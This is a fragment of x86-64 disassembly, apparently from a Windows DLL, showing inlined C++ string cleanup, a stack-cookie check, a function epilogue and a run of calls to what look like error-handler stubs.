mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1800083be
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800083b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084eb
call fcn.18000dc40
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x18000840b
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008406
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008437
call fcn.18000dc40
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.18000dc20
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.1800011f0
int3
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3